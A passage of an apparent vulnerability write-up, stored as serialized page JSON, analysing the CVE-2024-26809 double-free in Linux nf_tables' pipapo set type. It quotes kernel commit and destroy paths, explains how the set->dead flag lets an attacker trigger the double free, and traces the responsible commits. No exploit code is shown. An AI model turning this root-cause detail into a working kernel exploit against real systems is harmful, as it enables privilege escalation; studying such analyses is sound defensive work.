nf_tables_commit_release",{"type":25,"tag":201,"props":53926,"children":53927},{"style":220},[53928],{"type":31,"value":53929},"(net);\n",{"type":25,"tag":201,"props":53931,"children":53932},{"class":203,"line":694},[53933],{"type":25,"tag":201,"props":53934,"children":53935},{"emptyLinePlaceholder":17},[53936],{"type":31,"value":496},{"type":25,"tag":201,"props":53938,"children":53939},{"class":203,"line":707},[53940,53945,53949],{"type":25,"tag":201,"props":53941,"children":53942},{"style":230},[53943],{"type":31,"value":53944}," return",{"type":25,"tag":201,"props":53946,"children":53947},{"style":426},[53948],{"type":31,"value":4554},{"type":25,"tag":201,"props":53950,"children":53951},{"style":220},[53952],{"type":31,"value":461},{"type":25,"tag":201,"props":53954,"children":53955},{"class":203,"line":715},[53956],{"type":25,"tag":201,"props":53957,"children":53958},{"style":220},[53959],{"type":31,"value":1187},{"type":25,"tag":34,"props":53961,"children":53962},{},[53963,53964,53970,53972,53977],{"type":31,"value":18109},{"type":25,"tag":115,"props":53965,"children":53967},{"className":53966},[],[53968],{"type":31,"value":53969},"nft_set_commit_update()",{"type":31,"value":53971}," function in the code above will call the ",{"type":25,"tag":115,"props":53973,"children":53975},{"className":53974},[],[53976],{"type":31,"value":53423},{"type":31,"value":53978}," method for any objects that were marked as pending an update.",{"type":25,"tag":191,"props":53980,"children":53982},{"className":18010,"code":53981,"language":4652,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[53983],{"type":25,"tag":115,"props":53984,"children":53985},{"__ignoreMap":7},[53986,54026,54033,54062,54069,54082,54114,54121,54182,54193,54200,54234,54241],{"type":25,"tag":201,"props":53987,"children":53988},{"class":203,"line":204},[53989,53993,53997,54001,54005,54009,54014,54018,54022],{"type":25,"tag":201,"props":53990,"children":53991},{"style":208},[53992],{"type":31,"value":52122},{"type":25,"tag":201,"props":53994,"children":53995},{"style":208},[53996],{"type":31,"value":52127},{"type":25,"tag":201,"props":53998,"children":53999},{"style":214},[54000],{"type":31,"value":53892},{"type":25,"tag":201,"props":54002,"children":54003},{"style":220},[54004],{"type":31,"value":298},{"type":25,"tag":201,"props":54006,"children":54007},{"style":208},[54008],{"type":31,"value":10905},{"type":25,"tag":201,"props":54010,"children":54011},{"style":220},[54012],{"type":31,"value":54013}," list_head ",{"type":25,"tag":201,"props":54015,"children":54016},{"style":261},[54017],{"type":31,"value":6077},{"type":25,"tag":201,"props":54019,"children":54020},{"style":246},[54021],{"type":31,"value":53905},{"type":25,"tag":201,"props":54023,"children":54024},{"style":220},[54025],{"type":31,"value":4666},{"type":25,"tag":201,"props":54027,"children":54028},{"class":203,"line":226},[54029],{"type":25,"tag":201,"props":54030,"children":54031},{"style":220},[54032],{"type":31,"value":1822},{"type":25,"tag":201,"props":54034,"children":54035},{"class":203,"line":278},[54036,54040,54044,54048,54053,54057],{"type":25,"tag":201,"props":54037,"children":54038},{"style":208},[54039],{"type":31,"value":22646},{"type":25,"tag":201,"props":54041,"children":54042},{"style":220},[54043],{"type":31,"value":52177},{"type":25,"tag":201,"props":54045,"children":54046},{"style":261},[54047],{"type":31,"value":6077},{"type":25,"tag":201,"props":54049,"children":54050},{"style":220},[54051],{"type":31,"value":54052},"set, ",{"type":25,"tag":201,"props":54054,"children":54055},{"style":261},[54056],{"type":31,"value":6077},{"type":25,"tag":201,"props":54058,"children":54059},{"style":220},[54060],{"type":31,"value":54061},"next;\n",{"type":25,"tag":201,"props":54063,"children":54064},{"class":203,"line":311},[54065],{"type":25,"tag":201,"props":54066,"children":54067},{"emptyLinePlaceholder":17},[54068],{"type":31,"value":496},{"type":25,"tag":201,"props":54070,"children":54071},{"class":203,"line":330},[54072,54077],{"type":25,"tag":201,"props":54073,"children":54074},{"style":214},[54075],{"type":31,"value":54076}," list_for_each_entry_safe",{"type":25,"tag":201,"props":54078,"children":54079},{"style":220},[54080],{"type":31,"value":54081},"(set, next, set_update_list, pending_update) {\n",{"type":25,"tag":201,"props":54083,"children":54084},{"class":203,"line":397},[54085,54090,54094,54098,54102,54106,54110],{"type":25,"tag":201,"props":54086,"children":54087},{"style":214},[54088],{"type":31,"value":54089},"  list_del_init",{"type":25,"tag":201,"props":54091,"children":54092},{"style":220},[54093],{"type":31,"value":298},{"type":25,"tag":201,"props":54095,"children":54096},{"style":261},[54097],{"type":31,"value":4615},{"type":25,"tag":201,"props":54099,"children":54100},{"style":246},[54101],{"type":31,"value":52097},{"type":25,"tag":201,"props":54103,"children":54104},{"style":220},[54105],{"type":31,"value":15259},{"type":25,"tag":201,"props":54107,"children":54108},{"style":246},[54109],{"type":31,"value":53799},{"type":25,"tag":201,"props":54111,"children":54112},{"style":220},[54113],{"type":31,"value":308},{"type":25,"tag":201,"props":54115,"children":54116},{"class":203,"line":437},[54117],{"type":25,"tag":201,"props":54118,"children":54119},{"emptyLinePlaceholder":17},[54120],{"type":31,"value":496},{"type":25,"tag":201,"props":54122,"children":54123},{"class":203,"line":464},[54124,54128,54132,54136,54140,54144,54148,54152,54156,54160,54165,54169,54173,54177],{"type":25,"tag":201,"props":54125,"children":54126},{"style":230},[54127],{"type":31,"value":233},{"type":25,"tag":201,"props":54129,"children":54130},{"style":220},[54131],{"type":31,"value":238},{"type":25,"tag":201,"props":54133,"children":54134},{"style":261},[54135],{"type":31,"value":4114},{"type":25,"tag":201,"props":54137,"children":54138},{"style":246},[54139],{"type":31,"value":52097},{"type":25,"tag":201,"props":54141,"children":54142},{"style":220},[54143],{"type":31,"value":15259},{"type":25,"tag":201,"props":54145,"children":54146},{"style":246},[54147],{"type":31,"value":53748},{"type":25,"tag":201,"props":54149,"children":54150},{"style":220},[54151],{"type":31,"value":15259},{"type":25,"tag":201,"props":54153,"children":54154},{"style":246},[54155],{"type":31,"value":53757},{"type":25,"tag":201,"props":54157,"children":54158},{"style":261},[54159],{"type":31,"value":25192},{"type":25,"tag":201,"props":54161,"children":54162},{"style":246},[54163],{"type":31,"value":54164}," set",{"type":25,"tag":201,"props":54166,"children":54167},{"style":220},[54168],{"type":31,"value":15259},{"type":25,"tag":201,"props":54170,"children":54171},{"style":246},[54172],{"type":31,"value":53567},{"type":25,"tag":201,"props":54174,"children":54175},{"style":220},[54176],{"type":31,"value":3073},{"type":25,"tag":201,"props":54178,"children":54179},{"style":4497},[54180],{"type":31,"value":54181}," // [4]\n",{"type":25,"tag":201,"props":54183,"children":54184},{"class":203,"line":490},[54185,54189],{"type":25,"tag":201,"props":54186,"children":54187},{"style":230},[54188],{"type":31,"value":52569},{"type":25,"tag":201,"props":54190,"children":54191},{"style":220},[54192],{"type":31,"value":461},{"type":25,"tag":201,"props":54194,"children":54195},{"class":203,"line":499},[54196],{"type":25,"tag":201,"props":54197,"children":54198},{"emptyLinePlaceholder":17},[54199],{"type":31,"value":496},{"type":25,"tag":201,"props":54201,"children":54202},{"class":203,"line":522},[54203,54208,54212,54216,54220,54224,54229],{"type":25,"tag":201,"props":54204,"children":54205},{"style":246},[54206],{"type":31,"value":54207},"  set",{"type":25,"tag":201,"props":54209,"children":54210},{"style":220},[54211],{"type":31,"value":15259},{"type":25,"tag":201,"props":54213,"children":54214},{"style":246},[54215],{"type":31,"value":53748},{"type":25,"tag":201,"props":54217,"children":54218},{"style":220},[54219],{"type":31,"value":15259},{"type":25,"tag":201,"props":54221,"children":54222},{"style":214},[54223],{"type":31,"value":53757},{"type":25,"tag":201,"props":54225,"children":54226},{"style":220},[54227],{"type":31,"value":54228},"(set);",{"type":25,"tag":201,"props":54230,"children":54231},{"style":4497},[54232],{"type":31,"value":54233}," // [5]\n",{"type":25,"tag":201,"props":54235,"children":54236},{"class":203,"line":531},[54237],{"type":25,"tag":201,"props":54238,"children":54239},{"style":220},[54240],{"type":31,"value":11100},{"type":25,"tag":201,"props":54242,"children":54243},{"class":203,"line":550},[54244],{"type":25,"tag":201,"props":54245,"children":54246},{"style":220},[54247],{"type":31,"value":1187},{"type":25,"tag":34,"props":54249,"children":54250},{},[54251,54253,54259,54261,54266,54267,54272],{"type":31,"value":54252},"Later on, the ",{"type":25,"tag":115,"props":54254,"children":54256},{"className":54255},[],[54257],{"type":31,"value":54258},"nf_tables_commit_release()",{"type":31,"value":54260}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":25,"tag":115,"props":54262,"children":54264},{"className":54263},[],[54265],{"type":31,"value":52097},{"type":31,"value":53417},{"type":25,"tag":115,"props":54268,"children":54270},{"className":54269},[],[54271],{"type":31,"value":53431},{"type":31,"value":54273}," method.",{"type":25,"tag":191,"props":54275,"children":54277},{"className":18010,"code":54276,"language":4652,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[54278],{"type":25,"tag":115,"props":54279,"children":54280},{"__ignoreMap":7},[54281,54320,54327,54334,54355,54362,54369,54376,54417,54424,54431,54452,54465,54477,54484,54491,54498,54539,54546,54574,54581,54594,54606,54647,54654,54661,54668,54726,54733,54740,54769,54776],{"type":25,"tag":201,"props":54282,"children":54283},{"class":203,"line":204},[54284,54288,54292,54296,54300,54304,54308,54312,54316],{"type":25,"tag":201,"props":54285,"children":54286},{"style":208},[54287],{"type":31,"value":52122},{"type":25,"tag":201,"props":54289,"children":54290},{"style":208},[54291],{"type":31,"value":52127},{"type":25,"tag":201,"props":54293,"children":54294},{"style":214},[54295],{"type":31,"value":53924},{"type":25,"tag":201,"props":54297,"children":54298},{"style":220},[54299],{"type":31,"value":298},{"type":25,"tag":201,"props":54301,"children":54302},{"style":208},[54303],{"type":31,"value":10905},{"type":25,"tag":201,"props":54305,"children":54306},{"style":220},[54307],{"type":31,"value":53080},{"type":25,"tag":201,"props":54309,"children":54310},{"style":261},[54311],{"type":31,"value":6077},{"type":25,"tag":201,"props":54313,"children":54314},{"style":246},[54315],{"type":31,"value":53089},{"type":25,"tag":201,"props":54317,"children":54318},{"style":220},[54319],{"type":31,"value":4666},{"type":25,"tag":201,"props":54321,"children":54322},{"class":203,"line":226},[54323],{"type":25,"tag":201,"props":54324,"children":54325},{"style":220},[54326],{"type":31,"value":1822},{"type":25,"tag":201,"props":54328,"children":54329},{"class":203,"line":278},[54330],{"type":25,"tag":201,"props":54331,"children":54332},{"style":220},[54333],{"type":31,"value":11821},{"type":25,"tag":201,"props":54335,"children":54336},{"class":203,"line":311},[54337,54342,54346,54350],{"type":25,"tag":201,"props":54338,"children":54339},{"style":214},[54340],{"type":31,"value":54341}," schedule_work",{"type":25,"tag":201,"props":54343,"children":54344},{"style":220},[54345],{"type":31,"value":298},{"type":25,"tag":201,"props":54347,"children":54348},{"style":261},[54349],{"type":31,"value":4615},{"type":25,"tag":201,"props":54351,"children":54352},{"style":220},[54353],{"type":31,"value":54354},"trans_destroy_work);\n",{"type":25,"tag":201,"props":54356,"children":54357},{"class":203,"line":330},[54358],{"type":25,"tag":201,"props":54359,"children":54360},{"style":220},[54361],{"type":31,"value":11821},{"type":25,"tag":201,"props":54363,"children":54364},{"class":203,"line":397},[54365],{"type":25,"tag":201,"props":54366,"children":54367},{"style":220},[54368],{"type":31,"value":1187},{"type":25,"tag":201,"props":54370,"children":54371},{"class":203,"line":437},[54372],{"type":25,"tag":201,"props":54373,"children":54374},{"style":220},[54375],{"type":31,"value":11821},{"type":25,"tag":201,"props":54377,"children":54378},{"class":203,"line":464},[54379,54383,54387,54392,54396,54400,54405,54409,54413],{"type":25,"tag":201,"props":54380,"children":54381},{"style":208},[54382],{"type":31,"value":52122},{"type":25,"tag":201,"props":54384,"children":54385},{"style":208},[54386],{"type":31,"value":52127},{"type":25,"tag":201,"props":54388,"children":54389},{"style":214},[54390],{"type":31,"value":54391}," nf_tables_trans_destroy_work",{"type":25,"tag":201,"props":54393,"children":54394},{"style":220},[54395],{"type":31,"value":298},{"type":25,"tag":201,"props":54397,"children":54398},{"style":208},[54399],{"type":31,"value":10905},{"type":25,"tag":201,"props":54401,"children":54402},{"style":220},[54403],{"type":31,"value":54404}," work_struct ",{"type":25,"tag":201,"props":54406,"children":54407},{"style":261},[54408],{"type":31,"value":6077},{"type":25,"tag":201,"props":54410,"children":54411},{"style":246},[54412],{"type":31,"value":50649},{"type":25,"tag":201,"props":54414,"children":54415},{"style":220},[54416],{"type":31,"value":4666},{"type":25,"tag":201,"props":54418,"children":54419},{"class":203,"line":490},[54420],{"type":25,"tag":201,"props":54421,"children":54422},{"style":220},[54423],{"type":31,"value":1822},{"type":25,"tag":201,"props":54425,"children":54426},{"class":203,"line":499},[54427],{"type":25,"tag":201,"props":54428,"children":54429},{"style":220},[54430],{"type":31,"value":11821},{"type":25,"tag":201,"props":54432,"children":54433},{"class":203,"line":522},[54434,54438,54443,54447],{"type":25,"tag":201,"props":54435,"children":54436},{"style":214},[54437],{"type":31,"value":54076},{"type":25,"tag":201,"props":54439,"children":54440},{"style":220},[54441],{"type":31,"value":54442},"(trans, next, ",{"type":25,"tag":201,"props":54444,"children":54445},{"style":261},[54446],{"type":31,"value":4615},{"type":25,"tag":201,"props":54448,"children":54449},{"style":220},[54450],{"type":31,"value":54451},"head, list) {\n",{"type":25,"tag":201,"props":54453,"children":54454},{"class":203,"line":531},[54455,54460],{"type":25,"tag":201,"props":54456,"children":54457},{"style":214},[54458],{"type":31,"value":54459},"  nft_trans_list_del",{"type":25,"tag":201,"props":54461,"children":54462},{"style":220},[54463],{"type":31,"value":54464},"(trans);\n",{"type":25,"tag":201,"props":54466,"children":54467},{"class":203,"line":550},[54468,54473],{"type":25,"tag":201,"props":54469,"children":54470},{"style":214},[54471],{"type":31,"value":54472},"  nft_commit_release",{"type":25,"tag":201,"props":54474,"children":54475},{"style":220},[54476],{"type":31,"value":54464},{"type":25,"tag":201,"props":54478,"children":54479},{"class":203,"line":563},[54480],{"type":25,"tag":201,"props":54481,"children":54482},{"style":220},[54483],{"type":31,"value":11100},{"type":25,"tag":201,"props":54485,"children":54486},{"class":203,"line":572},[54487],{"type":25,"tag":201,"props":54488,"children":54489},{"style":220},[54490],{"type":31,"value":1187},{"type":25,"tag":201,"props":54492,"children":54493},{"class":203,"line":590},[54494],{"type":25,"tag":201,"props":54495,"children":54496},{"style":220},[54497],{"type":31,"value":11821},{"type":25,"tag":201,"props":54499,"children":54500},{"class":203,"line":608},[54501,54505,54509,54514,54518,54522,54527,54531,54535],{"type":25,"tag":201,"props":54502,"children":54503},{"style":208},[54504],{"type":31,"value":52122},{"type":25,"tag":201,"props":54506,"children":54507},{"style":208},[54508],{"type":31,"value":52127},{"type":25,"tag":201,"props":54510,"children":54511},{"style":214},[54512],{"type":31,"value":54513}," nft_commit_release",{"type":25,"tag":201,"props":54515,"children":54516},{"style":220},[54517],{"type":31,"value":298},{"type":25,"tag":201,"props":54519,"children":54520},{"style":208},[54521],{"type":31,"value":10905},{"type":25,"tag":201,"props":54523,"children":54524},{"style":220},[54525],{"type":31,"value":54526}," nft_trans ",{"type":25,"tag":201,"props":54528,"children":54529},{"style":261},[54530],{"type":31,"value":6077},{"type":25,"tag":201,"props":54532,"children":54533},{"style":246},[54534],{"type":31,"value":53639},{"type":25,"tag":201,"props":54536,"children":54537},{"style":220},[54538],{"type":31,"value":4666},{"type":25,"tag":201,"props":54540,"children":54541},{"class":203,"line":617},[54542],{"type":25,"tag":201,"props":54543,"children":54544},{"style":220},[54545],{"type":31,"value":1822},{"type":25,"tag":201,"props":54547,"children":54548},{"class":203,"line":625},[54549,54554,54558,54562,54566,54570],{"type":25,"tag":201,"props":54550,"children":54551},{"style":230},[54552],{"type":31,"value":54553}," switch",{"type":25,"tag":201,"props":54555,"children":54556},{"style":220},[54557],{"type":31,"value":238},{"type":25,"tag":201,"props":54559,"children":54560},{"style":246},[54561],{"type":31,"value":53639},{"type":25,"tag":201,"props":54563,"children":54564},{"style":220},[54565],{"type":31,"value":15259},{"type":25,"tag":201,"props":54567,"children":54568},{"style":246},[54569],{"type":31,"value":53677},{"type":25,"tag":201,"props":54571,"children":54572},{"style":220},[54573],{"type":31,"value":275},{"type":25,"tag":201,"props":54575,"children":54576},{"class":203,"line":642},[54577],{"type":25,"tag":201,"props":54578,"children":54579},{"style":220},[54580],{"type":31,"value":11821},{"type":25,"tag":201,"props":54582,"children":54583},{"class":203,"line":659},[54584,54589],{"type":25,"tag":201,"props":54585,"children":54586},{"style":230},[54587],{"type":31,"value":54588}," case",{"type":25,"tag":201,"props":54590,"children":54591},{"style":220},[54592],{"type":31,"value":54593}," NFT_MSG_DELSET:\n",{"type":25,"tag":201,"props":54595,"children":54596},{"class":203,"line":667},[54597,54601],{"type":25,"tag":201,"props":54598,"children":54599},{"style":230},[54600],{"type":31,"value":54588},{"type":25,"tag":201,"props":54602,"children":54603},{"style":220},[54604],{"type":31,"value":54605}," NFT_MSG_DESTROYSET:\n",{"type":25,"tag":201,"props":54607,"children":54608},{"class":203,"line":676},[54609,54614,54618,54622,54626,54630,54634,54638,54642],{"type":25,"tag":201,"props":54610,"children":54611},{"style":214},[54612],{"type":31,"value":54613},"  nft_set_destroy",{"type":25,"tag":201,"props":54615,"children":54616},{"style":220},[54617],{"type":31,"value":298},{"type":25,"tag":201,"props":54619,"children":54620},{"style":261},[54621],{"type":31,"value":4615},{"type":25,"tag":201,"props":54623,"children":54624},{"style":220},[54625],{"type":31,"value":53639},{"type":25,"tag":201,"props":54627,"children":54628},{"style":261},[54629],{"type":31,"value":15259},{"type":25,"tag":201,"props":54631,"children":54632},{"style":246},[54633],{"type":31,"value":21777},{"type":25,"tag":201,"props":54635,"children":54636},{"style":220},[54637],{"type":31,"value":919},{"type":25,"tag":201,"props":54639,"children":54640},{"style":214},[54641],{"type":31,"value":53605},{"type":25,"tag":201,"props":54643,"children":54644},{"style":220},[54645],{"type":31,"value":54646},"(trans));\n",{"type":25,"tag":201,"props":54648,"children":54649},{"class":203,"line":694},[54650],{"type":25,"tag":201,"props":54651,"children":54652},{"style":220},[54653],{"type":31,"value":11821},{"type":25,"tag":201,"props":54655,"children":54656},{"class":203,"line":707},[54657],{"type":25,"tag":201,"props":54658,"children":54659},{"style":220},[54660],{"type":31,"value":1187},{"type":25,"tag":201,"props":54662,"children":54663},{"class":203,"line":715},[54664],{"type":25,"tag":201,"props":54665,"children":54666},{"style":220},[54667],{"type":31,"value":11821},{"type":25,"tag":201,"props":54669,"children":54670},{"class":203,"line":732},[54671,54675,54679,54684,54688,54692,54696,54700,54704,54709,54713,54717,54721],{"type":25,"tag":201,"props":54672,"children":54673},{"style":208},[54674],{"type":31,"value":52122},{"type":25,"tag":201,"props":54676,"children":54677},{"style":208},[54678],{"type":31,"value":52127},{"type":25,"tag":201,"props":54680,"children":54681},{"style":214},[54682],{"type":31,"value":54683}," nft_set_destroy",{"type":25,"tag":201,"props":54685,"children":54686},{"style":220},[54687],{"type":31,"value":298},{"type":25,"tag":201,"props":54689,"children":54690},{"style":208},[54691],{"type":31,"value":4074},{"type":25,"tag":201,"props":54693,"children":54694},{"style":208},[54695],{"type":31,"value":22646},{"type":25,"tag":201,"props":54697,"children":54698},{"style":220},[54699],{"type":31,"value":52149},{"type":25,"tag":201,"props":54701,"children":54702},{"style":261},[54703],{"type":31,"value":6077},{"type":25,"tag":201,"props":54705,"children":54706},{"style":220},[54707],{"type":31,"value":54708},"ctx, ",{"type":25,"tag":201,"props":54710,"children":54711},{"style":208},[54712],{"type":31,"value":10905},{"type":25,"tag":201,"props":54714,"children":54715},{"style":220},[54716],{"type":31,"value":52177},{"type":25,"tag":201,"props":54718,"children":54719},{"style":261},[54720],{"type":31,"value":6077},{"type":25,"tag":201,"props":54722,"children":54723},{"style":220},[54724],{"type":31,"value":54725},"set)\n",{"type":25,"tag":201,"props":54727,"children":54728},{"class":203,"line":749},[54729],{"type":25,"tag":201,"props":54730,"children":54731},{"style":220},[54732],{"type":31,"value":1822},{"type":25,"tag":201,"props":54734,"children":54735},{"class":203,"line":757},[54736],{"type":25,"tag":201,"props":54737,"children":54738},{"style":220},[54739],{"type":31,"value":11821},{"type":25,"tag":201,"props":54741,"children":54742},{"class":203,"line":765},[54743,54747,54751,54755,54759,54764],{"type":25,"tag":201,"props":54744,"children":54745},{"style":246},[54746],{"type":31,"value":54164},{"type":25,"tag":201,"props":54748,"children":54749},{"style":220},[54750],{"type":31,"value":15259},{"type":25,"tag":201,"props":54752,"children":54753},{"style":246},[54754],{"type":31,"value":53748},{"type":25,"tag":201,"props":54756,"children":54757},{"style":220},[54758],{"type":31,"value":15259},{"type":25,"tag":201,"props":54760,"children":54761},{"style":214},[54762],{"type":31,"value":54763},"destroy",{"type":25,"tag":201,"props":54765,"children":54766},{"style":220},[54767],{"type":31,"value":54768},"(ctx, set);\n",{"type":25,"tag":201,"props":54770,"children":54771},{"class":203,"line":783},[54772],{"type":25,"tag":201,"props":54773,"children":54774},{"style":220},[54775],{"type":31,"value":11821},{"type":25,"tag":201,"props":54777,"children":54778},{"class":203,"line":792},[54779],{"type":25,"tag":201,"props":54780,"children":54781},{"style":220},[54782],{"type":31,"value":1187},{"type":25,"tag":34,"props":54784,"children":54785},{},[54786,54788,54793,54795,54800,54802,54808,54810,54815,54817,54822,54824,54828,54830,54835,54836,54840,54842,54848],{"type":31,"value":54787},"It may appear as if it would be impossible to make ",{"type":25,"tag":115,"props":54789,"children":54791},{"className":54790},[],[54792],{"type":31,"value":52051},{"type":31,"value":54794}," true in the release step because the ",{"type":25,"tag":115,"props":54796,"children":54798},{"className":54797},[],[54799],{"type":31,"value":53423},{"type":31,"value":54801}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":25,"tag":115,"props":54803,"children":54805},{"className":54804},[],[54806],{"type":31,"value":54807},"set->dead",{"type":31,"value":54809}," flag. If a ",{"type":25,"tag":115,"props":54811,"children":54813},{"className":54812},[],[54814],{"type":31,"value":52097},{"type":31,"value":54816}," was marked for deletion, it receives the ",{"type":25,"tag":115,"props":54818,"children":54820},{"className":54819},[],[54821],{"type":31,"value":54807},{"type":31,"value":54823}," flag ",{"type":25,"tag":201,"props":54825,"children":54826},{},[54827],{"type":31,"value":4629},{"type":31,"value":54829},". If this flag is set, then the commit path will skip any commitments to this ",{"type":25,"tag":115,"props":54831,"children":54833},{"className":54832},[],[54834],{"type":31,"value":52097},{"type":31,"value":7966},{"type":25,"tag":201,"props":54837,"children":54838},{},[54839],{"type":31,"value":19025},{"type":31,"value":54841},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":25,"tag":115,"props":54843,"children":54845},{"className":54844},[],[54846],{"type":31,"value":54847},"priv ->dirty",{"type":31,"value":54849}," flag is not cleared when it should have been.",{"type":25,"tag":26,"props":54851,"children":54853},{"id":54852},"tracing-the-guilty-commit",[54854],{"type":31,"value":54855},"Tracing the guilty commit",{"type":25,"tag":34,"props":54857,"children":54858},{},[54859,54861,54868,54870,54876,54878,54883,54885,54891],{"type":31,"value":54860},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":25,"tag":71,"props":54862,"children":54865},{"href":54863,"rel":54864},"https://ubuntu.com/security/CVE-2024-26809",[75],[54866],{"type":31,"value":54867},"advisories",{"type":31,"value":54869}," about this vulnerability will say it was introduced by this ",{"type":25,"tag":71,"props":54871,"children":54874},{"href":54872,"rel":54873},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[75],[54875],{"type":31,"value":53757},{"type":31,"value":54877},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":25,"tag":115,"props":54879,"children":54881},{"className":54880},[],[54882],{"type":31,"value":54807},{"type":31,"value":54884}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":25,"tag":71,"props":54886,"children":54889},{"href":54887,"rel":54888},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[75],[54890],{"type":31,"value":53757},{"type":31,"value":80},{"type":25,"tag":34,"props":54893,"children":54894},{},[54895],{"type":31,"value":54896},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":25,"tag":191,"props":54898,"children":54902},{"className":54899,"code":54900,"language":54901,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[54903],{"type":25,"tag":115,"props":54904,"children":54905},{"__ignoreMap":7},[54906,54914,54922,54929,54937,54945,54952,54960,54967,54975,54983,54990,54998,55006,55014,55022,55030,55038,55046,55054,55062,55069,55077,55085,55092,55100,55108,55116,55124,55132,55139,55147,55155],{"type":25,"tag":201,"props":54907,"children":54908},{"class":203,"line":204},[54909],{"type":25,"tag":201,"props":54910,"children":54911},{},[54912],{"type":31,"value":54913},"New elements that reside in the clone are not released in case that the\n",{"type":25,"tag":201,"props":54915,"children":54916},{"class":203,"line":226},[54917],{"type":25,"tag":201,"props":54918,"children":54919},{},[54920],{"type":31,"value":54921},"transaction is aborted.\n",{"type":25,"tag":201,"props":54923,"children":54924},{"class":203,"line":278},[54925],{"type":25,"tag":201,"props":54926,"children":54927},{"emptyLinePlaceholder":17},[54928],{"type":31,"value":496},{"type":25,"tag":201,"props":54930,"children":54931},{"class":203,"line":311},[54932],{"type":25,"tag":201,"props":54933,"children":54934},{},[54935],{"type":31,"value":54936},"[16302.231754] ------------[ cut here ]------------\n",{"type":25,"tag":201,"props":54938,"children":54939},{"class":203,"line":330},[54940],{"type":25,"tag":201,"props":54941,"children":54942},{},[54943],{"type":31,"value":54944},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":25,"tag":201,"props":54946,"children":54947},{"class":203,"line":397},[54948],{"type":25,"tag":201,"props":54949,"children":54950},{},[54951],{"type":31,"value":11821},{"type":25,"tag":201,"props":54953,"children":54954},{"class":203,"line":437},[54955],{"type":25,"tag":201,"props":54956,"children":54957},{},[54958],{"type":31,"value":54959},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":25,"tag":201,"props":54961,"children":54962},{"class":203,"line":464},[54963],{"type":25,"tag":201,"props":54964,"children":54965},{},[54966],{"type":31,"value":11821},{"type":25,"tag":201,"props":54968,"children":54969},{"class":203,"line":490},[54970],{"type":25,"tag":201,"props":54971,"children":54972},{},[54973],{"type":31,"value":54974},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":25,"tag":201,"props":54976,"children":54977},{"class":203,"line":499},[54978],{"type":25,"tag":201,"props":54979,"children":54980},{},[54981],{"type":31,"value":54982},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 